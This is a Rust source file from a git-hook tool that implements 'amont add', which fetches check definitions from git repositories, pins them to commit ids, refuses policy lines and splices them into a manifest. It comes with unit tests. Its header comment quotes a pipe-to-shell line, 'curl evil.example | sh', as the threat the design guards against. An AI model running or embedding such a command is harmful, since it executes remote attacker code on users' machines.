Skip to main content

amont_runtime/
pack.rs

1//! Shipping a check — `amont add`.
2//!
3//! A check could always be WRITTEN in `amont.conf`; it could never be SHARED.
4//! The only routes were pasting a line into somebody's manifest by hand, or
5//! upstreaming it into amont itself.
6//!
7//! pre-commit solved this by cloning a repository and executing it, building an
8//! isolated environment per hook. That is its slowest part and it is precisely
9//! what [`crate::trust`] exists to refuse — that module's own test fixture
10//! spells out the threat in one line:
11//!
12//! ```text
13//! pre-commit  a  *  block  curl evil.example | sh
14//! ```
15//!
16//! So what ships here is **text, not execution**. A pack is `amont.conf` syntax
17//! and nothing else; `amont add` vendors those rows into your manifest; and
18//! because the trust fingerprint is content-keyed over the whole file, the
19//! append invalidates consent and a human must read every command before any of
20//! them can run. The existing gate does the security work. This module only
21//! saves the copy-paste.
22//!
23//! # Why git, and why that answers "verify against what?"
24//!
25//! amont links no crates (`scripts/check-no-deps.sh`), so it has no TLS and no
26//! HTTP client, and must not grow one to fetch a config file. The only network
27//! primitive it already uses is `git` — which turns out to be the right answer
28//! rather than a consolation:
29//!
30//! - git is **content-addressed**. [`resolve`] turns a moving `@v2` into a
31//!   commit id before anything is fetched, and [`fetch`] then refuses whatever
32//!   it received unless it hashes to that id.
33//! - the id, never the tag, is what gets written into `amont.conf`.
34//! - SSH, HTTPS, private repositories and self-hosted forges all work already,
35//!   with the user's own credentials and none of amont's.
36//!
37//! # Nothing here is on the commit path
38//!
39//! `amont add` is a setup verb. No hook calls into this module, nothing is
40//! fetched between `git commit` and a verdict, and `a_pack_costs_the_commit_
41//! path_nothing` asserts it.
42
43use std::path::Path;
44
45use crate::manifest::{Line, MANIFEST};
46
47/// The file a pack repository must carry, at its root.
48pub const PACK_FILE: &str = "amont.pack";
49
50/// Where a pack came from, and which revision of it.
51#[derive(Debug, Clone, PartialEq, Eq)]
52pub struct Source {
53    /// How the user spelled it, minus the revision — what goes in the marker.
54    pub label: String,
55    /// What git is handed.
56    pub url: String,
57    /// `None` means the remote's default branch.
58    pub rev: Option<String>,
59}
60
61/// Does this name a filesystem path rather than a shorthand?
62///
63/// A local path is how a pack is developed before it is published, and it is
64/// the whole fixture story for the tests.
65///
66/// **Every shape is named explicitly, and `Path::is_absolute` is deliberately
67/// not consulted.** It answers differently depending on where it runs, and this
68/// function must not: `C:\pack` is not absolute on unix, and `/tmp/pack` is not
69/// absolute on Windows, so a rule leaning on it rejects whichever shape is
70/// foreign to the host. That cost two round trips through CI — first Windows
71/// could not add a local pack at all, then, once `is_absolute` was added, it
72/// refused the unix spelling instead. The lesson is that "is this a path" is a
73/// question about the STRING, and the host's opinion of it is noise.
74fn looks_like_path(body: &str) -> bool {
75    let b = body.as_bytes();
76    // `C:\pack` or `C:/pack`
77    let drive = b.len() >= 3
78        && b[0].is_ascii_alphabetic()
79        && b[1] == b':'
80        && (b[2] == b'\\' || b[2] == b'/');
81    body.starts_with('/')            // unix absolute
82        || drive
83        || body.starts_with(r"\\")   // UNC: \\server\share
84        || std::path::Path::new(body).exists() // a relative path that is really there
85}
86
87/// `github:owner/repo@v2`, `forgejo:host/owner/repo`, a git URL, or a local
88/// path.
89///
90/// The revision is split on the last `@` that falls AFTER the last separator.
91/// That rule is not decoration: `git@github.com:acme/repo.git` carries an `@`
92/// in its userinfo, and splitting on the last `@` outright would read
93/// `github.com` as a revision and quietly fetch the wrong thing. Both `/` and
94/// `\` count, or a Windows path containing an `@` would lose its tail the same
95/// way.
96pub fn parse_source(spec: &str) -> Result<Source, String> {
97    if spec.is_empty() {
98        return Err("empty source".into());
99    }
100    let slash = spec.rfind(['/', '\\']).map(|i| i as isize).unwrap_or(-1);
101    let (body, rev) = match spec.rfind('@') {
102        Some(at) if (at as isize) > slash => (&spec[..at], Some(spec[at + 1..].to_string())),
103        _ => (spec, None),
104    };
105    if rev.as_deref().is_some_and(str::is_empty) {
106        return Err(format!("{spec}: a revision was named but is empty"));
107    }
108    let url = if let Some(rest) = body.strip_prefix("github:") {
109        if rest.split('/').count() != 2 || rest.split('/').any(str::is_empty) {
110            return Err(format!("{spec}: github: wants owner/repo"));
111        }
112        format!("https://github.com/{rest}.git")
113    } else if let Some(rest) = body.strip_prefix("forgejo:") {
114        // host/owner/repo — the host is not assumed, because a self-hosted
115        // forge is the case this shorthand exists for.
116        if rest.split('/').count() != 3 || rest.split('/').any(str::is_empty) {
117            return Err(format!("{spec}: forgejo: wants host/owner/repo"));
118        }
119        format!("https://{rest}.git")
120    } else if body.contains("://") || body.contains('@') || looks_like_path(body) {
121        body.to_string()
122    } else {
123        return Err(format!(
124            "{spec}: not a git URL — use github:owner/repo, \
125             forgejo:host/owner/repo, or a full URL"
126        ));
127    };
128    Ok(Source {
129        label: body.to_string(),
130        url,
131        rev,
132    })
133}
134
135/// The commit id `rev` names on the remote, before anything is downloaded.
136pub fn resolve(source: &Source) -> Result<String, String> {
137    let rev = source.rev.as_deref().unwrap_or("HEAD");
138    let out = crate::git::stdout(&["ls-remote", &source.url, rev]).ok_or_else(|| {
139        format!(
140            "{}: cannot reach the remote, or {rev} names nothing",
141            source.label
142        )
143    })?;
144    // `ls-remote` prints "<sha>\t<ref>" per match. A rev matching several refs
145    // (a tag and a branch of the same name) is ambiguous, and guessing which
146    // one the user meant is exactly the wrong instinct for a verb that installs
147    // commands.
148    let ids: Vec<&str> = out
149        .lines()
150        .filter_map(|l| l.split_whitespace().next())
151        .collect();
152    match ids.as_slice() {
153        [] => Err(format!(
154            "{}: {rev} names nothing on that remote",
155            source.label
156        )),
157        [one] => Ok((*one).to_string()),
158        many => Err(format!(
159            "{}: {rev} is ambiguous — it matches {} refs on that remote; \
160             name a commit id instead",
161            source.label,
162            many.len()
163        )),
164    }
165}
166
167/// The pack's text at `id`, or an error.
168///
169/// Fetches the REF and then checks what arrived hashes to the id [`resolve`]
170/// already agreed with the remote. Fetching the bare id would be more direct
171/// and is not universally allowed (`uploadpack.allowAnySHA1InWant`); this way
172/// works against every server and still detects a ref that moved underneath us
173/// between the two calls.
174pub fn fetch(source: &Source, id: &str, into: &Path) -> Result<String, String> {
175    let dir = into.to_string_lossy().into_owned();
176    let ok = |args: &[&str]| crate::git::succeeds_in(into, args);
177    std::fs::create_dir_all(into).map_err(|e| format!("cannot create {dir}: {e}"))?;
178    if !ok(&["init", "-q"]) {
179        return Err(format!("cannot init a scratch repository at {dir}"));
180    }
181    let rev = source.rev.as_deref().unwrap_or("HEAD");
182    if !ok(&["fetch", "-q", "--depth", "1", &source.url, rev]) {
183        return Err(format!("{}: fetching {rev} failed", source.label));
184    }
185    let got = crate::git::stdout_in(into, &["rev-parse", "FETCH_HEAD"])
186        .ok_or_else(|| format!("{}: nothing was fetched", source.label))?;
187    if got != id {
188        return Err(format!(
189            "{}: {rev} moved while we were reading it ({id} → {got}) — \
190             nothing was written; run the same command again",
191            source.label
192        ));
193    }
194    crate::git::stdout_in(into, &["show", &format!("FETCH_HEAD:{PACK_FILE}")]).ok_or_else(|| {
195        format!(
196            "{}: has no {PACK_FILE} at {}",
197            source.label,
198            &id[..7.min(id.len())]
199        )
200    })
201}
202
203/// The rows a pack may contribute, verbatim, or a refusal naming the first
204/// thing wrong with it.
205///
206/// Validated with the REAL parser ([`crate::manifest::parse_lines`]) rather
207/// than a second one that could disagree with it — a pack that parses here and
208/// not there would be a manifest nobody intended. The original text of each row
209/// is what gets written, so nothing round-trips through a formatter that might
210/// render it differently from how it was reviewed.
211///
212/// Refused **whole**, never partially: a half-applied pack leaves an
213/// `amont.conf` that neither the author nor the user asked for.
214pub fn rows(text: &str) -> Result<Vec<String>, String> {
215    // The same lines `parse_lines` will keep, in the same order, so the two can
216    // be zipped without either needing to report a line number.
217    let source_rows: Vec<&str> = text
218        .lines()
219        .map(str::trim)
220        .filter(|l| !l.is_empty() && !l.starts_with('#'))
221        .collect();
222    let parsed = crate::manifest::parse_lines(text);
223    if parsed.len() != source_rows.len() {
224        return Err(format!("{PACK_FILE}: cannot be read as {MANIFEST} syntax"));
225    }
226    if source_rows.is_empty() {
227        return Err(format!("{PACK_FILE}: declares no checks"));
228    }
229    let mut out = Vec::with_capacity(source_rows.len());
230    for (line, parsed) in source_rows.iter().zip(&parsed) {
231        match parsed {
232            Line::Usable(_) => out.push((*line).to_string()),
233            Line::Broken { why, .. } => {
234                return Err(format!("{PACK_FILE}: `{line}` — {why}"));
235            }
236            // A pack carries CHECKS. `tool`, `severity`, `skip` and `set` are
237            // policy about the repository installing it, and
238            // docs/custom-checks.md ("What a repository cannot do") keeps those
239            // local on purpose — a `set` line reaching `amont.fix` would let a
240            // third party turn on rewriting somebody's working tree.
241            Line::Tool(_) | Line::Policy { .. } => {
242                return Err(format!(
243                    "{PACK_FILE}: `{line}` — a pack may declare checks only, \
244                     not tool pins or policy"
245                ));
246            }
247        }
248    }
249    Ok(out)
250}
251
252/// The block a pack owns inside `amont.conf`.
253///
254/// Markers so a re-`add` REPLACES rather than appends — a second copy of the
255/// same declaration is refused by the duplicate-id rule, so appending blindly
256/// would break the manifest on the second run — and so a human can remove a
257/// pack by deleting a block. `#` keeps them invisible to the parser, which
258/// skips comments.
259fn start_marker(label: &str) -> String {
260    format!("# amont:pack:start {label}")
261}
262fn end_marker(label: &str) -> String {
263    format!("# amont:pack:end {label}")
264}
265
266pub fn block(label: &str, id: &str, rows: &[String]) -> String {
267    let mut out = format!("{} {id}\n", start_marker(label));
268    for r in rows {
269        out.push_str(r);
270        out.push('\n');
271    }
272    out.push_str(&end_marker(label));
273    out.push('\n');
274    out
275}
276
277/// `manifest` with this source's block replaced, or appended if it has none.
278///
279/// Markers are searched INDEPENDENTLY, like `agents_md::block_range` does, so a
280/// file carrying one without the other is reported rather than silently
281/// half-rewritten.
282pub fn splice(manifest: &str, label: &str, id: &str, rows: &[String]) -> Result<String, String> {
283    let (start, end) = (start_marker(label), end_marker(label));
284    let at_start = manifest.find(&start);
285    let at_end = manifest.find(&end);
286    let fresh = block(label, id, rows);
287    match (at_start, at_end) {
288        (Some(s), Some(e)) if e > s => {
289            let mut tail = e + end.len();
290            if manifest[tail..].starts_with('\n') {
291                tail += 1;
292            }
293            Ok(format!("{}{fresh}{}", &manifest[..s], &manifest[tail..]))
294        }
295        (None, None) => {
296            let mut out = manifest.to_string();
297            if !out.is_empty() && !out.ends_with('\n') {
298                out.push('\n');
299            }
300            if !out.is_empty() {
301                out.push('\n');
302            }
303            out.push_str(&fresh);
304            Ok(out)
305        }
306        _ => Err(format!(
307            "{MANIFEST}: has an unpaired `amont:pack` marker for {label} — \
308             fix or remove it by hand"
309        )),
310    }
311}
312
313#[cfg(test)]
314mod tests {
315    use super::*;
316
317    #[test]
318    fn shorthands_and_urls_become_git_urls() {
319        let s = parse_source("github:acme/rust-strict").unwrap();
320        assert_eq!(s.url, "https://github.com/acme/rust-strict.git");
321        assert_eq!(s.label, "github:acme/rust-strict");
322        assert_eq!(s.rev, None);
323
324        let s = parse_source("forgejo:git.example.org/acme/packs@v2").unwrap();
325        assert_eq!(s.url, "https://git.example.org/acme/packs.git");
326        assert_eq!(s.rev.as_deref(), Some("v2"));
327    }
328
329    /// The `@` in `git@host` is userinfo, not a revision. Splitting on the last
330    /// `@` outright would read the host as a revision and fetch the wrong
331    /// thing — silently, since `ls-remote` would simply find nothing.
332    #[test]
333    fn an_ssh_url_keeps_its_userinfo() {
334        let s = parse_source("git@github.com:acme/repo.git").unwrap();
335        assert_eq!(s.url, "git@github.com:acme/repo.git");
336        assert_eq!(s.rev, None);
337
338        let s = parse_source("git@github.com:acme/repo.git@v1").unwrap();
339        assert_eq!(s.url, "git@github.com:acme/repo.git");
340        assert_eq!(s.rev.as_deref(), Some("v1"));
341    }
342
343    /// A local path is a valid source on every platform, and BOTH spellings are
344    /// accepted wherever this runs.
345    ///
346    /// Two CI round trips are behind this test. First the rule was
347    /// `starts_with('/')` — true of a unix path, false of every Windows one, so
348    /// the feature was silently unix-only. Then it became `Path::is_absolute`,
349    /// which is platform-dependent in the other direction and refused
350    /// `/tmp/pack` on Windows. Asserting both shapes on every host is what
351    /// makes the third version stay fixed.
352    #[test]
353    fn an_absolute_path_is_a_source_on_any_platform() {
354        for p in ["/tmp/pack", r"C:\Users\me\pack", r"\\server\share\pack"] {
355            let s = parse_source(p).unwrap_or_else(|e| panic!("{p:?} should be a source: {e}"));
356            assert_eq!(s.url, p);
357            assert_eq!(s.rev, None, "{p:?} has no revision");
358        }
359    }
360
361    /// And a Windows path carrying an `@` keeps it: the separator search has to
362    /// know about `\` or the tail is read as a revision.
363    #[test]
364    fn a_windows_path_with_an_at_sign_is_not_split_on_it() {
365        let s = parse_source(r"C:\Users\me\a@b\pack").unwrap();
366        assert_eq!(s.url, r"C:\Users\me\a@b\pack");
367        assert_eq!(s.rev, None);
368        let s = parse_source(r"C:\Users\me\a@b\pack@v1").unwrap();
369        assert_eq!(s.url, r"C:\Users\me\a@b\pack");
370        assert_eq!(s.rev.as_deref(), Some("v1"));
371    }
372
373    #[test]
374    fn a_source_that_is_not_a_url_is_refused() {
375        for bad in ["", "acme/rust-strict", "github:acme", "github:acme/repo/x"] {
376            assert!(parse_source(bad).is_err(), "{bad:?} should be refused");
377        }
378        assert!(parse_source("github:acme/repo@").is_err(), "empty revision");
379    }
380
381    #[test]
382    fn rows_are_taken_verbatim() {
383        let text = "# a comment\n\npre-commit  terraform-fmt  Dockerfile  block  terraform-fmt\n";
384        assert_eq!(
385            rows(text).unwrap(),
386            vec!["pre-commit  terraform-fmt  Dockerfile  block  terraform-fmt"]
387        );
388    }
389
390    /// Policy is about the repository INSTALLING the pack, and a third party
391    /// must not reach it: `severity` could quietly downgrade the secrets scan,
392    /// `skip` could silence it outright, and a `set` could raise the large-file
393    /// ceiling on somebody else's repository.
394    ///
395    /// These are all lines the parser accepts as VALID policy — which is the
396    /// point. Refusing them is this module's own rule, not something the
397    /// manifest parser was already doing.
398    #[test]
399    fn a_pack_may_not_carry_valid_policy_or_pins() {
400        for bad in [
401            "set  largeFileBlock  4000\n",
402            "severity  secrets  warn\n",
403            "skip  secrets\n",
404            "tool  terraform-fmt  2.12\n",
405        ] {
406            let text = format!("pre-commit  ok  *  block  true\n{bad}");
407            let err = rows(&text).unwrap_err();
408            assert!(err.contains("checks only"), "{bad:?} gave: {err}");
409        }
410    }
411
412    /// And a line the parser cannot read at all is refused too — by the other
413    /// arm, with the parser's own reason rather than a guess at one.
414    #[test]
415    fn a_policy_line_the_parser_rejects_is_still_refused() {
416        let text = "pre-commit  ok  *  block  true\nset  amont.fix  true\n";
417        let err = rows(text).unwrap_err();
418        assert!(err.contains("not a policy-settable key"), "{err}");
419    }
420
421    #[test]
422    fn a_pack_is_refused_whole_on_one_bad_row() {
423        let text = "pre-commit  fine  *  block  true\nnonsense\n";
424        assert!(rows(text).is_err());
425        assert!(rows("# nothing but a comment\n").is_err(), "empty pack");
426    }
427
428    #[test]
429    fn splice_appends_then_replaces_in_place() {
430        let rows0 = vec!["pre-commit  a  *  block  true".to_string()];
431        let base = "pre-commit  mine  *  block  true\n";
432
433        let once = splice(base, "github:acme/p", "abc1234", &rows0).unwrap();
434        assert!(once.starts_with(base), "existing lines are kept: {once:?}");
435        assert!(once.contains("# amont:pack:start github:acme/p abc1234"));
436
437        // A second add of the same source must REPLACE: two copies of one
438        // declaration is a duplicate id, which the parser refuses outright.
439        let rows1 = vec!["pre-commit  b  *  block  true".to_string()];
440        let twice = splice(&once, "github:acme/p", "def5678", &rows1).unwrap();
441        assert_eq!(twice.matches("amont:pack:start github:acme/p").count(), 1);
442        assert!(twice.contains("def5678"));
443        assert!(!twice.contains("abc1234"));
444        assert!(!twice.contains("pre-commit  a  *"), "old rows are gone");
445        assert!(
446            twice.contains("pre-commit  mine"),
447            "unrelated lines survive"
448        );
449    }
450
451    #[test]
452    fn an_unpaired_marker_is_reported_not_guessed() {
453        let rows0 = vec!["pre-commit  a  *  block  true".to_string()];
454        let half = "# amont:pack:start github:acme/p abc1234\n";
455        assert!(splice(half, "github:acme/p", "x", &rows0).is_err());
456        let inverted = "# amont:pack:end github:acme/p\n# amont:pack:start github:acme/p x\n";
457        assert!(splice(inverted, "github:acme/p", "y", &rows0).is_err());
458    }
459
460    /// Two packs coexist without either disturbing the other's block.
461    #[test]
462    fn packs_from_different_sources_do_not_collide() {
463        let a = vec!["pre-commit  a  *  block  true".to_string()];
464        let b = vec!["pre-commit  b  *  block  true".to_string()];
465        let one = splice("", "github:x/a", "1111111", &a).unwrap();
466        let two = splice(&one, "github:x/b", "2222222", &b).unwrap();
467        let three = splice(&two, "github:x/a", "3333333", &a).unwrap();
468        assert!(three.contains("2222222"), "the other pack is untouched");
469        assert!(three.contains("3333333"));
470        assert!(!three.contains("1111111"));
471    }
472}